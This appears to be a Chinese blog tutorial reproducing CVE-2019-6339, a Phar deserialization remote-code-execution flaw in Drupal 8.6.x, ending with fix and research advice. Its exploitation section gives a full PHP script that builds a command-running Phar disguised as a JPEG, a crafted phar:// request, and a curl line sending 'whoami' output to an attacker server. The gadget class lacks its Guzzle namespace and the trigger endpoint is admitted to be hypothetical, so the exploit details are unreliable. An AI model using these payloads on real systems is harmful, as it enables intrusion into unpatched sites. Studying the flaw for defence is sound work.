CVE-2019-6339漏洞复现:Drupal中Phar反序列化攻击原理与实战

发布时间:2026/6/29 11:07:11
CVE-2019-6339漏洞复现:Drupal中Phar反序列化攻击原理与实战 1. 项目概述一次从环境到利用的完整漏洞复现之旅搞安全研究或者做渗透测试的朋友对CVE编号肯定不会陌生。今天要聊的这个CVE-2019-6339是一个发生在Drupal内容管理系统中的Phar反序列化漏洞。乍一听又是Drupal又是Phar还牵扯到反序列化感觉挺复杂。但说实话这个漏洞的成因和利用链条非常经典是学习Web应用安全特别是理解PHP反序列化攻击和Phar协议利用的绝佳案例。我之所以花时间把它从环境搭建到漏洞深度利用完整走一遍就是因为它在实战中暴露出的问题——开发者对用户可控文件路径的信任以及PHP某些特性被组合利用后产生的巨大破坏力——至今仍有很强的警示意义。简单来说这个漏洞允许攻击者通过上传一个特制的Phar文件比如伪装成图片并诱使Drupal以特定方式处理该文件的路径从而触发Phar反序列化最终在服务器上执行任意代码。整个过程不依赖复杂的权限提升核心在于对“文件路径”这一看似无害的参数的巧妙操控。对于安全从业者而言复现它不仅能掌握一个历史高危漏洞的利用技巧更能深入理解反序列化漏洞的另一种入口——文件协议触发这与我们常见的通过unserialize()函数直接触发有着不同的前置条件和利用场景。接下来我会带你从零开始构建一个包含漏洞的Drupal环境一步步拆解漏洞原理并最终完成漏洞的利用。无论你是想丰富自己的漏洞复现经验还是希望深入理解Phar反序列化的机制这篇文章都会提供详实的操作步骤和背后的思考逻辑。我们不仅追求“能复现”更要弄明白“为什么能复现”以及“在复现过程中可能会遇到哪些坑”。2. 环境构建精准还原漏洞现场复现任何漏洞的第一步也是最重要的一步就是搭建一个与漏洞存在时尽可能一致的环境。对于CVE-2019-6339我们需要一个特定版本的Drupal核心并且PHP环境需要开启必要的配置。盲目使用最新版或者随意配置环境很可能导致漏洞无法触发白白浪费时间。2.1 核心组件版本锁定这个漏洞影响的是Drupal 8.6.x系列版本确切地说在8.6.6版本中被修复。因此我们的目标就是搭建一个低于此版本的Drupal 8.6环境。经过测试Drupal 8.6.0到8.6.5版本均受影响。我这里选择Drupal 8.6.5作为复现目标。注意版本号差一位代码可能天差地别。务必使用准确的漏洞版本直接从Drupal官网的发布存档页面下载对应版本的压缩包这是最可靠的方式。除了Drupal版本PHP的配置也至关重要。漏洞利用依赖Phar反序列化这要求PHP的phar扩展必须启用默认通常是开启的。此外为了后续利用链的畅通我们通常需要一个存在魔法方法如__destruct,__wakeup的类这些类可能存在于Drupal核心或第三方模块中。在漏洞公开初期研究者们发现了Drupal核心的GuzzleHttp\Psr7\FnStream类可以被利用。因此我们的环境需要包含相应的Composer依赖。最省事的办法是直接使用漏洞版本的Drupal完整包它自带了vendor目录。2.2 本地化环境搭建实操我习惯在Linux环境下进行这类测试使用Docker能快速构建一个干净、可重复的环境。但为了更贴近传统部署场景这里我会先用PHP内置服务器在本地搭建。首先下载Drupal 8.6.5核心包并解压。wget https://ftp.drupal.org/files/projects/drupal-8.6.5.tar.gz tar -xzvf drupal-8.6.5.tar.gz cd drupal-8.6.5接着启动PHP内置Web服务器。我们需要指定一个端口并允许从本地网络访问。php -S 0.0.0.0:8888现在访问http://你的机器IP:8888就能看到Drupal的安装界面了。但先别急我们缺一个数据库。使用Docker快速启动一个MySQL实例docker run --name drupal-mysql -e MYSQL_ROOT_PASSWORDrootpass -e MYSQL_DATABASEdrupal -e MYSQL_USERdrupal -e MYSQL_PASSWORDdrupalpass -p 3306:3306 -d mysql:5.7然后回到浏览器安装页面选择“Standard”安装在数据库配置环节填入对应信息数据库类型MySQL数据库名drupal用户名drupal密码drupalpass主机你的机器IP(如果Docker运行在同一台机器通常是172.17.0.1或localhost需要根据Docker网络模式调整)安装过程中可能会提示“信任主机名”错误这是因为Drupal 8.6对主机名有安全校验。我们需要修改站点配置文件。安装完成后在sites/default目录下找到settings.php文件定位到$settings[trusted_host_patterns]设置暂时将其注释掉或添加我们的服务器IP模式例如$settings[trusted_host_patterns] [ ^localhost$, ^127\.0\.0\.1$, ^你的机器IP$, ];完成这些步骤后一个基础的、存在漏洞的Drupal 8.6.5环境就运行起来了。这个环境已经包含了后续利用所需的guzzlehttp/guzzle库其中包含FnStream类。2.3 环境验证与必要配置检查搭建好环境后不要急于进行漏洞利用先做几个关键检查点PHP Phar扩展在Drupal站点的“状态报告”页面/admin/reports/status查看PHP扩展列表确认phar已启用。也可以在命令行执行php -m | grep phar验证。文件上传功能漏洞触发点通常与文件处理相关。确保Drupal的“媒体”或“文件”模块已启用并且允许上传至少一种文件类型如“图片”。进入/admin/config/media/file-system检查文件系统设置。临时目录权限文件上传和Phar解析需要读写临时目录。确保PHP配置php.ini中的upload_tmp_dir或系统临时目录/tmp对Web服务器进程如www-data用户可写。实操心得很多复现失败卡在第一步就是因为环境版本不对。务必使用composer show或检查vendor/composer/installed.json文件来确认guzzlehttp/guzzle的具体版本。对于Drupal 8.6.5对应的Guzzle版本应在^6.0系列。如果版本不对后续的POP链构造可能会失败。3. 漏洞原理深度剖析从文件上传到代码执行环境就绪后我们深入漏洞的核心。CVE-2019-6339的本质是一个“不安全的反序列化”问题但它的触发路径比较特殊不是直接接收序列化字符串而是通过Phar协议。3.1 漏洞触发点定位漏洞的根源在于Drupal处理某些文件路径时没有对路径中可能包含的协议包装器Wrapper进行过滤或安全处理。具体来说在Drupal 8.6.x的某些场景下例如在处理来自外部源的图片样式派生图时用户能够控制一个文件URI统一资源标识符的路径部分。如果攻击者能够使这个路径指向一个服务器上已存在的Phar文件例如通过文件上传功能上传一个后缀为.phar或伪装成图片的Phar文件并且该路径被以phar://协议的方式解析那么当PHP尝试访问phar://[路径]时就会自动反序列化Phar文件元数据metadata中存储的数据。关键代码位于core/lib/Drupal/Core/Image/Image.php及相关文件处理逻辑中。当Drupal根据一个图片样式Image Style生成衍生图时会构造一个目标URI。在某些条件下如果源图片的URI包含了用户可控的部分并且系统在生成缓存或处理时直接将该URI用于文件操作就可能触发phar协议解析。3.2 Phar反序列化机制详解为什么phar://协议能触发反序列化这是PHP Phar扩展的一个内置特性。PharPHP Archive文件是一种将PHP代码和资源打包在一起的格式类似于JAR。它的结构包含一个存根stub、一个描述打包文件清单的清单manifest以及可选的元数据metadata。元数据metadata可以是一个PHP变量在创建Phar文件时通过Phar::setMetadata()方法存入。这个变量在Phar文件被phar://协议流包装器访问时会被自动反序列化。注意是“访问”即触发不一定需要include或require。只要像file_get_contents(phar:///path/to/exploit.phar)、file_exists()、is_file()等文件系统函数以phar://协议去操作这个文件元数据反序列化过程就会发生。这就为反序列化攻击打开了一扇新的大门攻击者只需要想方设法上传一个包含恶意序列化数据的Phar文件到服务器并让应用程序以phar://协议的方式去“触碰”这个文件的路径就能触发反序列化执行元数据中对象对应的类魔法方法。3.3 利用链POP Chain构造触发反序列化只是第一步要达成代码执行还需要一条有效的利用链即一系列具有“魔法方法”的类它们的方法能被串联调用最终导向危险函数如system()、eval()。在CVE-2019-6339的利用中早期利用的是Drupal依赖的Guzzle库中的FnStream类。GuzzleHttp\Psr7\FnStream类有一个__destruct()析构方法。当对象被销毁时如果该对象的close属性是一个可调用的函数如is_callable($this-close)为真那么就会尝试执行call_user_func($this-close)。如果我们能控制$this-close的值将其设置为类似system的函数名并控制其参数就能执行系统命令。那么如何将我们可控的序列化数据“注入”到这个类的对象中呢我们需要构造一个特殊的Phar文件创建一个FnStream对象将其close属性设置为我们要执行的函数和参数例如[$function, $parameter]形式的数组用于call_user_func_array。将这个对象设置为Phar文件的元数据。将Phar文件后缀改为.jpg等允许上传的格式并上传到目标服务器。利用Drupal的文件处理漏洞使服务器代码以phar://协议访问我们上传的文件路径如phar:///var/www/html/sites/default/files/poc.jpg。当访问发生时Phar元数据被反序列化FnStream对象被重建。随后在PHP请求结束或该对象引用被清除时__destruct()方法被自动调用从而执行我们预设的命令。注意事项实际的利用链可能更复杂因为需要找到从反序列化入口点到FnStream对象属性可控的完整路径。有时需要借助其他类的__wakeup()或__destruct()方法作为跳板一步步传递和修改属性值最终控制FnStream的close成员。这需要仔细审计Drupal核心及其依赖的代码库。4. 漏洞利用实战手把手打造攻击载荷理解了原理我们开始动手制作攻击用的Phar文件并找到触发点。4.1 生成恶意Phar文件首先我们需要一个独立的PHP脚本来生成Phar文件。这个脚本不能在目标服务器上运行我们在自己的攻击机上操作。?php // generate_phar.php // 防止在网页中直接访问 if (php_sapi_name() ! cli) { die(CLI only.); } // 定义要执行的命令。这里弹出一个计算器作为演示Linux下可以是gnome-calculator或xcalc。 // 实际攻击中可替换为任意命令。 $command calc.exe; // Windows // $command gnome-calculator; // Linux with GUI // $command touch /tmp/pwned; // Linux 无回显命令 // 构造利用链对象。 // 我们利用 GuzzleHttp\Psr7\FnStream 的 __destruct 方法。 class FnStream { public $close; public function __construct($cmd) { // 将 close 属性设置为一个可调用结构。 // 这里我们构造一个数组第一个元素是函数名system第二个元素是命令。 $this-close [system, $cmd]; } } // 创建对象 $obj new FnStream($command); // 创建一个新的Phar文件后缀可以是 .phar但为了上传我们之后会重命名为 .jpg $phar new Phar(exploit.phar); $phar-startBuffering(); // 设置存根stub至少要包含 __HALT_COMPILER();否则Phar扩展不会将其识别为Phar文件。 // 我们可以用一个合法的PHP文件作为存根来伪装。 $stub ?php __HALT_COMPILER(); ?; // 也可以加入更多伪装内容例如GIF头但注意不要破坏Phar结构。 // $stub GIF89a?php __HALT_COMPILER(); ?; $phar-setStub($stub); // 将我们构造的对象设置为元数据 $phar-setMetadata($obj); // 必须至少添加一个文件到Phar中否则会报错。我们添加一个虚拟文件。 $phar-addFromString(test.txt, test); $phar-stopBuffering(); echo [] Phar file exploit.phar generated.\n; // 为了方便上传将其复制为jpg文件 copy(exploit.phar, exploit.jpg); echo [] Copied to exploit.jpg for upload.\n; ?在命令行运行这个脚本php generate_phar.php你会得到两个文件exploit.phar和exploit.jpg。它们的二进制内容在__HALT_COMPILER()之前是完全一样的。.jpg文件就是我们的攻击载荷。重要提示在实际渗透测试中需要根据目标环境调整命令。对于无回显的命令可以考虑使用curl或wget将结果外带或者写入Web目录下的一个文件。同时要确保Phar文件的存根Stub不会因为包含?php标签而被目标服务器的安全机制如WAF拦截。有时需要使用二进制包装技巧。4.2 寻找并利用触发点这是最考验耐心和技巧的一步。我们需要在Drupal中找到一处能够让我们控制文件路径并且该路径最终会被以phar://协议形式使用的地方。根据公开的漏洞分析一个可能的触发点与图片样式Image Styles和远程图片有关。Drupal可以将远程图片缓存到本地然后应用图片样式如缩略图。在某些处理逻辑中缓存文件的URI构造可能存在问题。简化版的利用思路如下上传Phar文件以后台管理员或拥有上传权限的用户身份将exploit.jpg上传到Drupal站点。假设上传后的访问路径为/sites/default/files/exploit.jpg其物理路径为/var/www/html/drupal-8.6.5/sites/default/files/exploit.jpg。构造恶意请求我们需要找到一个接收“文件路径”作为参数并且内部处理时会用phar://包装该路径的端点。根据漏洞细节这可能涉及对/admin/config/media/image-styles下某些预览或派生功能的滥用或者通过其他模块如Media Entity的特定功能。触发漏洞向该端点发送请求参数中指定文件路径为phar:///var/www/html/drupal-8.6.5/sites/default/files/exploit.jpg。服务器端代码在处理时会尝试用phar://协议打开这个文件从而触发元数据反序列化。由于Drupal 8.6.x的具体触发代码路径可能在后续补丁中被详细分析并修复且不同配置下可利用的入口点可能不同这里我提供一个基于历史PoC思想的概念性验证请求假设存在一个未经验证的端点/image/styles/derivative或类似它接受source参数指定源图片URI。GET /image/styles/thumbnail/public?filephar:///var/www/html/drupal-8.6.5/sites/default/files/exploit.jpg HTTP/1.1 Host: target.com当Drupal尝试为这个“图片”生成缩略图时会解析phar://协议从而触发漏洞。实操心得在实际复现中你可能需要开启Drupal的display_errors并查看日志/admin/reports/dblog来调试。如果触发了反序列化但利用链不成功可能会看到“Class FnStream not found”或“unserialize()”出错的提示。这说明Guzzle库的类没有自动加载。你需要确保在触发反序列化的上下文中类加载器能够找到FnStream类。有时需要利用Drupal自身的类作为跳板这需要更深入的代码审计。4.3 利用成功验证如果漏洞利用成功你预设的命令将会执行。如何验证呢如果命令是弹计算器在带有图形界面的服务器上你会看到计算器弹出。如果命令是touch /tmp/pwned你可以登录服务器检查/tmp/pwned文件是否被创建。更常用的方法是使用带外OOB技术如用ping命令探测一个你控制的DNS日志服务器或者用curl/wget访问一个你控制的Web服务器并携带执行结果。例如修改生成Phar的脚本中的命令为$command curl http://your-attacker-server.com/whoami;然后在你的攻击服务器上监听HTTP请求如果收到访问并且路径中包含服务器用户名就证明命令执行成功。5. 漏洞修复与安全启示Drupal官方在8.6.6版本中修复了此漏洞。修复的核心思想是在对用户提供的文件路径进行任何操作之前对其进行严格的验证和净化防止协议包装器被注入。具体的修复补丁通常涉及修改文件处理相关的函数例如使用Drupal\Component\Utility\UrlHelper::stripDangerousProtocols()或file_valid_uri()等函数来检查URI确保其不包含危险的协议如phar://、php://、data://等或者在使用前将其过滤掉。5.1 给开发者的安全启示永远不要信任用户输入文件路径、URL、文件名等来自用户的数据必须视为不可信的。在使用它们进行文件系统操作、包含操作或协议流操作前必须进行白名单验证。警惕协议包装器PHP的phar://、php://、data://、expect://等协议包装器功能强大但也非常危险。在允许用户控制文件路径的任何场景都应禁止这些协议。谨慎使用反序列化尽量避免使用unserialize()函数处理用户数据。如果必须使用可以考虑使用更安全的替代方案如JSON。如果无法避免必须确保反序列化的类在白名单内或者使用PHP 7引入的allowed_classes选项进行严格限制。及时更新和修补使用像Drupal这样的大型开源项目务必关注其安全公告并及时应用安全更新。CVE-2019-6339在披露后很快提供了修复版本。5.2 给安全研究人员的复现建议环境隔离务必在虚拟机或隔离的Docker容器中进行漏洞复现避免对宿主机或其他网络造成影响。深入理解原理不要满足于运行别人的PoC脚本。尝试自己阅读补丁代码理解漏洞根源尝试构造不同的利用链加深对PHP反序列化和Phar格式的理解。多角度尝试一个漏洞的触发点可能不止一个。在复现时可以尝试寻找不同于公开文档的触发路径这能极大锻炼代码审计能力。工具辅助使用像phpggc这样的工具可以快速生成针对各种PHP框架的反序列化利用链但在学习阶段手动构造更能加深印象。复现CVE-2019-6339的过程就像一次完整的安全攻防演练。从环境搭建的琐碎到原理分析的烧脑再到利用成功的兴奋最后到修复方案的思考每一个环节都能让人收获颇丰。它清晰地展示了一个看似简单的“文件路径控制”问题是如何与PHP语言的特性Phar协议、反序列化相结合最终演变成一个远程代码执行的高危漏洞的。这种由点及面、深度挖掘的学习方式对于提升安全实战能力至关重要。